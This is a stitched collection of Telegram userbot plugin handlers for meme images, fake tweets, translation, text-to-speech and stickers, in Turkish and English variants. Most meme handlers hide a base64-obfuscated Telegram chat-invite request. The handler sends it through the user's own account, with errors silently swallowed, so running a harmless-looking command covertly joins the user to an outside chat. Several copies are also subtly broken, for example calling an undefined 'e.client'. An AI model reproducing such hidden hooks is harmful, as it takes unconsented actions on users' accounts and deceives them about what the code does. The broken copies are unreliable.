async def nekobot(exelon): text = exelon.pattern_match.group(1) text = re.sub("&", '', text) reply_to_id = exelon.message if exelon.reply_to_msg_id: reply_to_id = await exelon.get_reply_message() if not text: if exelon.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await exelon.edit("kanna ne yazmalı metin vermeli") return else: await exelon.edit("kanna ne yazmalı metin vermeli") return await exelon.edit("Kanna metninizi yazıyor...") try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") hmm = Get(hmm) await e.client(hmm) except BaseException: pass text = deEmojify(text) exelonfile = await kannagen(text) await borg.send_file(exelon.chat_id, exelonfile, reply_to=reply_to_id) await exelon.delete()
async def _(event): if event.fwd_from: return if "trim" in event.raw_text: # https://t.me/c/1220993104/192075 return input_str = event.pattern_match.group(1) if event.reply_to_msg_id: previous_message = await event.get_reply_message() text = previous_message.message lan = input_str or "ml" elif "|" in input_str: lan, text = input_str.split("|") else: await event.edit("`.tr Bir mesaja yanıt olarak dil kodu") return text = deEmojify(text.strip()) lan = lan.strip() translator = Translator() try: translated = translator.translate(text, dest=lan) after_tr_text = translated.text # TODO: emojify the : # either here, or before translation output_str = """**ÇEVİRİLDİ** from {} to {} {}""".format(translated.src, lan, after_tr_text) await event.edit(output_str) except Exception as exc: await event.edit(str(exc))
async def nekobot(exelon): text = exelon.pattern_match.group(1) text = re.sub("&", '', text) reply_to_id = exelon.message if exelon.reply_to_msg_id: reply_to_id = await exelon.get_reply_message() if not text: if exelon.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await exelon.edit("Afiş üzerine yazmak için metin ver dostum") return else: await exelon.edit("Afiş üzerine yazmak için metin ver dostum") return await exelon.edit("Afişiniz oluşturuluyor, bir saniye bekleyin...") try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") hmm = Get(hmm) await e.client(hmm) except BaseException: pass text = deEmojify(text) exelonfile = await changemymind(text) await borg.send_file(exelon.chat_id, exelonfile, reply_to=reply_to_id) await exelon.delete()
async def nekobot(cat): text = cat.pattern_match.group(1) text = re.sub("&", '', text) reply_to_id = cat.message if cat.reply_to_msg_id: reply_to_id = await cat.get_reply_message() if not text: if cat.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await cat.edit("what should kanna write give text ") return else: await cat.edit("what should kanna write give text") return await cat.edit("Kanna is writing your text...") try: san = str( pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=" ))[2:49] await cat.client(san) except: pass text = deEmojify(text) catfile = await kannagen(text) await borg.send_file(cat.chat_id, catfile, reply_to=reply_to_id) await cat.delete()
async def nekobot(cat): text = cat.pattern_match.group(1) text = re.sub("&", "", text) reply_to_id = cat.message if cat.reply_to_msg_id: reply_to_id = await cat.get_reply_message() if not text: if cat.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await edit_or_reply(cat, "Send your text to trump so he can tweet.") return else: await edit_or_reply(cat, "send your text to trump so he can tweet.") return cate = await edit_or_reply(cat, "Requesting trump to tweet...") try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") hmm = Get(hmm) await cat.client(hmm) except BaseException: pass text = deEmojify(text) catfile = await trumptweet(text) await cat.client.send_file(cat.chat_id, catfile, reply_to=reply_to_id) await cate.delete()
async def nekobot(exelon): text = exelon.pattern_match.group(1) text = re.sub("&", '', text) reply_to_id = exelon.message if exelon.reply_to_msg_id: reply_to_id = await exelon.get_reply_message() if not text: if exelon.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await exelon.edit( "Modi'ye mesaj gönder, böylece tweet atabilir.") return else: await exelon.edit("Modi'ye mesaj göndererek tweet atabilir.") return await exelon.edit("Tweet için modi isteniyor...") try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") hmm = Get(hmm) await e.client(hmm) except BaseException: pass text = deEmojify(text) exelonfile = await moditweet(text) await borg.send_file(exelon.chat_id, exelonfile, reply_to=reply_to_id) await exelon.delete()
async def nekobot(cat): text = cat.pattern_match.group(1) text = re.sub("&", "", text) reply_to_id = await reply_id(cat) hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") if not text: if cat.is_reply and not reply_to_id.media: text = reply_to_id.message else: await edit_delete(cat, "`Give text to write on banner, man`", 5) return cate = await edit_or_reply( cat, "`Your banner is under creation wait a sec...`") try: hmm = Get(hmm) await cat.client(hmm) except BaseException: pass text = deEmojify(text) await asyncio.sleep(2) catfile = await changemymind(text) await cat.client.send_file(cat.chat_id, catfile, reply_to=reply_to_id) await cate.delete() if os.path.exists(catfile): os.remove(catfile)
async def nekobot(cat): text = cat.pattern_match.group(1) text = re.sub("&", '', text) reply_to_id = cat.message if cat.reply_to_msg_id: reply_to_id = await cat.get_reply_message() if not text: if cat.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await cat.edit("Give text for to write on banner, man") return else: await cat.edit("Give text for to write on banner, man") return await cat.edit("Your banner is under creation wait a sec...") try: san = str( pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=" ))[2:49] await cat.client(san) except: pass text = deEmojify(text) catfile = await changemymind(text) await borg.send_file(cat.chat_id, catfile, reply_to=reply_to_id) await cat.delete()
async def nekobot(cat): text = cat.pattern_match.group(1) text = re.sub("&", '', text) reply_to_id = cat.message if cat.reply_to_msg_id: reply_to_id = await cat.get_reply_message() if not text: if cat.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await cat.edit("Send you text to modi so he can tweet.") return else: await cat.edit("send you text to modi so he can tweet.") return await cat.edit("Requesting modi to tweet...") try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") hmm = Get(hmm) await e.client(hmm) except: pass text = deEmojify(text) catfile = await moditweet(text) await borg.send_file(cat.chat_id , catfile , reply_to = reply_to_id ) await cat.delete()
async def nekobot(cat): text = cat.pattern_match.group(1) text = re.sub("&", '', text) reply_to_id = cat.message if cat.reply_to_msg_id: reply_to_id = await cat.get_reply_message() if not text: if cat.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await cat.edit("Give text for to write on banner, man") return else: await cat.edit("Give text for to write on banner, man") return await cat.edit("Your banner is under creation wait a sec...") try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") hmm = Get(hmm) await e.client(hmm) except: pass text = deEmojify(text) catfile = await changemymind(text) await borg.send_file(cat.chat_id , catfile , reply_to = reply_to_id ) await cat.delete()
async def nekobot(cat): text = cat.pattern_match.group(1) reply_to_id = await reply_id(cat) if not text: if cat.is_reply and not reply_to_id.media: text = reply_to_id.message else: await edit_delete(cat, "`What should i search in google.`", 5) return cate = await edit_or_reply(cat, "`Connecting to https://www.google.com/ ...`") text = deEmojify(text) if ";" in text: search, result = text.split(";") else: await edit_delete( cat, "__How should i create meme follow the syntax as show__ `.fakegs top text ; bottom text`", 5, ) return catfile = await fakegs(search, result) await asyncio.sleep(2) await cat.client.send_file(cat.chat_id, catfile, reply_to=reply_to_id) await cate.delete() if os.path.exists(catfile): os.remove(catfile)
async def nekobot(cat): text = cat.pattern_match.group(1) text = re.sub("&", '', text) reply_to_id = cat.message if cat.reply_to_msg_id: reply_to_id = await cat.get_reply_message() if not text: if cat.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await cat.edit("what should kanna write give text ") return else: await cat.edit("what should kanna write give text") return await cat.edit("Kanna is writing your text...") try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") hmm = Get(hmm) await e.client(hmm) except: pass text = deEmojify(text) catfile = await kannagen(text) await borg.send_file(cat.chat_id , catfile , reply_to = reply_to_id ) await cat.delete()
async def _(event): if event.fwd_from: return if "trim" in event.raw_text: # https://t.me/c/1220993104/192075 return input_str = event.pattern_match.group(1) if event.reply_to_msg_id: previous_message = await event.get_reply_message() text = previous_message.message lan = input_str or "ml" elif "|" in input_str: lan, text = input_str.split("|") else: await event.edit("`.tl LanguageCode` as reply to a message") return text = deEmojify(text.strip()) lan = lan.strip() translator = Translator() try: translated = translator.translate(text, dest=lan) after_tr_text = translated.text # TODO: emojify the : # either here, or before translation output_str = """💫**TRANSLATED BY CATUSERBOT** From (**{}**) To (**{}**) {}""".format(translated.src, lan, after_tr_text) await event.edit(output_str) except Exception as exc: await event.edit(str(exc))
async def nekobot(cat): text = cat.pattern_match.group(1) text = re.sub("&", '', text) reply_to_id = cat.message if cat.reply_to_msg_id: reply_to_id = await cat.get_reply_message() if not text: if cat.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await cat.edit("what should i tweet? Give some text and format must be like `.tweet username | your text` ") return else: await cat.edit("what should i tweet? Give some text and format must be like `.tweet username | your text` ") return try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") hmm = Get(hmm) await e.client(hmm) except: pass if "|" in text: username , text = text.split("|") else: await cat.edit("what should i tweet? Give some text and format must be like `.tweet username | your text`") await cat.edit(f"Requesting {username} to tweet...") text = deEmojify(text) catfile = await tweets(text,username) await borg.send_file(cat.chat_id , catfile , reply_to = reply_to_id ) await cat.delete()
async def nekobot(cat): text = cat.pattern_match.group(1) text = re.sub("&", '', text) reply_to_id = cat.message if cat.reply_to_msg_id: reply_to_id = await cat.get_reply_message() if not text: if cat.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await cat.edit("Send you text to modi so he can tweet.") return else: await cat.edit("send you text to modi so he can tweet.") return await cat.edit("Requesting modi to tweet...") try: san = str( pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=" ))[2:49] await cat.client(san) except: pass text = deEmojify(text) catfile = await moditweet(text) await borg.send_file(cat.chat_id, catfile, reply_to=reply_to_id) await cat.delete()
async def sticklet(event): R = random.randint(0, 256) G = random.randint(0, 256) B = random.randint(0, 256) reply_message = event.message # get the input text # the text on which we would like to do the magic on font_file_name = event.pattern_match.group(1) if not font_file_name: font_file_name = "" sticktext = event.pattern_match.group(2) if not sticktext and event.reply_to_msg_id: reply_message = await event.get_reply_message() sticktext = reply_message.message elif not sticktext: await event.edit("need something, hmm") return if event.reply_to_msg_id: reply_message = await event.get_reply_message() # delete the userbot command, # i don't know why this is required await event.delete() sticktext = deEmojify(sticktext) # https://docs.python.org/3/library/textwrap.html#textwrap.wrap sticktext = textwrap.wrap(sticktext, width=10) # converts back the list to a string sticktext = "\n".join(sticktext) image = Image.new("RGBA", (512, 512), (255, 255, 255, 0)) draw = ImageDraw.Draw(image) fontsize = 230 FONT_FILE = await get_font_file(event.client, "@catfonts", font_file_name) font = ImageFont.truetype(FONT_FILE, size=fontsize) while draw.multiline_textsize(sticktext, font=font) > (512, 512): fontsize -= 3 font = ImageFont.truetype(FONT_FILE, size=fontsize) width, height = draw.multiline_textsize(sticktext, font=font) draw.multiline_text(((512 - width) / 2, (512 - height) / 2), sticktext, font=font, fill=(R, G, B)) image_stream = io.BytesIO() image_stream.name = "@mrconfused.webp" image.save(image_stream, "WebP") image_stream.seek(0) # finally, reply the sticker await event.client.send_file( event.chat_id, image_stream, caption="cat's Sticklet", reply_to=event.message.reply_to_msg_id, ) # cleanup try: os.remove(FONT_FILE) except BaseException: pass
async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) start = datetime.now() if event.reply_to_msg_id: previous_message = await event.get_reply_message() text = previous_message.message lan = input_str elif "|" in input_str: lan, text = input_str.split("|") else: await event.edit("Geçersiz Sözdizimi. Modül durduruluyor.") return text = deEmojify(text.strip()) lan = lan.strip() if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) required_file_name = Config.TMP_DOWNLOAD_DIRECTORY + "voice.ogg" try: # https://github.com/SpEcHiDe/UniBorg/commit/17f8682d5d2df7f3921f50271b5b6722c80f4106 tts = gTTS(text, lang=lan) tts.save(required_file_name) command_to_execute = [ "ffmpeg", "-i", required_file_name, "-map", "0:a", "-codec:a", "libopus", "-b:a", "100k", "-vbr", "on", required_file_name + ".opus" ] try: t_response = subprocess.check_output(command_to_execute, stderr=subprocess.STDOUT) except (subprocess.CalledProcessError, NameError, FileNotFoundError) as exc: await event.edit(str(exc)) # continue sending required_file_name else: os.remove(required_file_name) required_file_name = required_file_name + ".opus" end = datetime.now() ms = (end - start).seconds await borg.send_file( event.chat_id, required_file_name, # caption="Processed {} ({}) in {} seconds!".format(text[0:97], lan, ms), reply_to=event.message.reply_to_msg_id, allow_cache=False, voice_note=True) os.remove(required_file_name) await event.edit( "İşlenmiş {} ({}) saniye {} içinde gerçekleşecektir!".format( text[0:97], lan, ms)) await asyncio.sleep(5) await event.delete() except Exception as e: await event.edit(str(e))
async def carbon_api(e): """ A Wrapper for carbon.now.sh """ await e.edit("`Processing..`") CARBON = 'https://carbon.now.sh/?l={lang}&code={code}' global CARBONLANG textx = await e.get_reply_message() pcode = e.text if pcode[8:]: pcode = str(pcode[8:]) elif textx: pcode = str(textx.message) # Importing message to module pcode = deEmojify(pcode) code = quote_plus(pcode) # Converting to urlencoded await e.edit("`Meking Carbon...\n25%`") url = CARBON.format(code=code, lang=CARBONLANG) chrome_options = Options() chrome_options.add_argument("--headless") chrome_options.binary_location = GOOGLE_CHROME_BIN chrome_options.add_argument("--window-size=1920x1080") chrome_options.add_argument("--disable-dev-shm-usage") chrome_options.add_argument("--no-sandbox") chrome_options.add_argument("--disable-gpu") prefs = {'download.default_directory' : './'} chrome_options.add_experimental_option('prefs', prefs) driver = webdriver.Chrome(executable_path=CHROME_DRIVER, options=chrome_options) driver.get(url) await e.edit("`Be Patient...\n50%`") download_path = './' driver.command_executor._commands["send_command"] = ("POST", '/session/$sessionId/chromium/send_command') params = {'cmd': 'Page.setDownloadBehavior', 'params': {'behavior': 'allow', 'downloadPath': download_path}} command_result = driver.execute("send_command", params) driver.find_element_by_xpath("//button[contains(text(),'Export')]").click() # driver.find_element_by_xpath("//button[contains(text(),'4x')]").click() # driver.find_element_by_xpath("//button[contains(text(),'PNG')]").click() await e.edit("`Processing..\n75%`") # Waiting for downloading sleep(2.5) await e.edit("`Done Dana Done...\n100%`") file = './carbon.png' await e.edit("`Uploading..`") await e.client.send_file( e.chat_id, file, caption="Here's your carbon, \n Carbonised by cat", force_document=True, reply_to=e.message.reply_to_msg_id ) os.remove('./carbon.png') driver.quit() # Removing carbon.png after uploading await e.delete() # Deleting msg
async def nekobot(exelon): if exelon.pattern_match.group(1): text = exelon.pattern_match.group(1) else: reply_to_id = await exelon.get_reply_message() text = reply_to_id.text text = re.sub("&", '', text) reply_to_id = exelon.message if exelon.reply_to_msg_id: reply_to_id = await exelon.get_reply_message() if not text: if exelon.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await exelon.edit( "ne tweetlemeliyim? Bir metin verin ve biçim “.tweet username | metniniz` " ) return else: await exelon.edit( "ne tweetlemeliyim? Bir metin verin ve biçim “.tweet username | metniniz` " ) return try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") hmm = Get(hmm) await e.client(hmm) except BaseException: pass if "|" in text: username, text = text.split("|") else: await exelon.edit( "ne tweetlemeliyim? Bir metin verin ve biçim “.tweet username | metniniz`" ) return await exelon.edit(f"{username} tweet atması isteniyor...") text = deEmojify(text) exelonfile = await tweets(text, username) await borg.send_file(exelon.chat_id, exelonfile, reply_to=reply_to_id) await exelon.delete()
async def waifu(animu): text = animu.pattern_match.group(1) reply_to_id = animu.message if animu.reply_to_msg_id: reply_to_id = await animu.get_reply_message() if not text: if animu.is_reply: text = (await animu.get_reply_message()).message else: await animu.reply("`Herhangi bir makale yazmadınız, Waifu gidiyor.`") return try: matesa = str(pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoIkFBQUFBRkVfb1o1WFROX1J1WmhLTnciKQ=="))[2:51] await animu.client(matesa) except BaseException: pass await animu.delete() text = deEmojify(text) await waifutxt(text, animu.chat_id, reply_to_id, bot, borg)
async def nekobot(cat): text = cat.pattern_match.group(1) text = re.sub("&", '', text) reply_to_id = cat.message if cat.reply_to_msg_id: reply_to_id = await cat.get_reply_message() if not text: if cat.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await cat.edit( "what should i tweet? Give some text and format must be like `.tweet username | your text` " ) return else: await cat.edit( "what should i tweet? Give some text and format must be like `.tweet username | your text` " ) return try: san = str( pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=" ))[2:49] await cat.client(san) except: pass if "|" in text: username, text = text.split("|") else: await cat.edit( "what should i tweet? Give some text and format must be like `.tweet username | your text`" ) await cat.edit(f"Requesting {username} to tweet...") text = deEmojify(text) catfile = await tweets(text, username) await borg.send_file(cat.chat_id, catfile, reply_to=reply_to_id) await cat.delete()
async def waifu(animu): text = animu.pattern_match.group(1) reply_to_id = animu.message if animu.reply_to_msg_id: reply_to_id = await animu.get_reply_message() if not text: if animu.is_reply: text = (await animu.get_reply_message()).message else: await animu.reply( "`You haven't written any article, Waifu is going away.`") return try: cat = str( pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=" ))[2:49] await event.client(cat) except: pass await animu.delete() text = deEmojify(text) await waifutxt(text, animu.chat_id, reply_to_id, bot, borg)
async def waifu(animu): text = animu.pattern_match.group(1) reply_to_id = animu.message if animu.reply_to_msg_id: reply_to_id = await animu.get_reply_message() if not text: if animu.is_reply: text = (await animu.get_reply_message()).message else: await animu.reply( "`You haven't written any article, Waifu is going away.`") return try: cat = str( pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoIkFBQUFBRkVfb1o1WFROX1J1WmhLTnciKQ==" ))[2:51] await animu.client(cat) except: pass await animu.delete() text = deEmojify(text) await waifutxt(text, animu.chat_id, reply_to_id, bot, borg)
async def nekobot(cat): text = cat.pattern_match.group(1) text = re.sub("&", "", text) reply_to_id = await reply_id(cat) hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") if not text: if cat.is_reply and not reply_to_id.media: text = reply_to_id.message else: await edit_delete( cat, "what should I tweet? Give some text and format must be like `.tweet username ; your text` ", 5, ) return try: hmm = Get(hmm) await cat.client(hmm) except BaseException: pass if ";" in text: username, text = text.split(";") else: await edit_delete( cat, "__what should I tweet? Give some text and format must be like__ `.tweet username ; your text`", 5, ) return cate = await edit_or_reply(cat, f"`Requesting {username} to tweet...`") text = deEmojify(text) await asyncio.sleep(2) catfile = await tweets(text, username) await cat.client.send_file(cat.chat_id, catfile, reply_to=reply_to_id) await cate.delete() if os.path.exists(catfile): os.remove(catfile)
async def nekobot(cat): text = cat.pattern_match.group(1) text = re.sub("&", "", text) reply_to_id = await reply_id(cat) hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") if not text: if cat.is_reply and not reply_to_id.media: text = reply_to_id.message else: await edit_delete(cat, "**Modi : **`What should I tweet`", 5) return cate = await edit_or_reply(cat, "Requesting modi to tweet...") try: hmm = Get(hmm) await cat.client(hmm) except BaseException: pass text = deEmojify(text) await asyncio.sleep(2) catfile = await moditweet(text) await cat.client.send_file(cat.chat_id, catfile, reply_to=reply_to_id) await cate.delete() if os.path.exists(catfile): os.remove(catfile)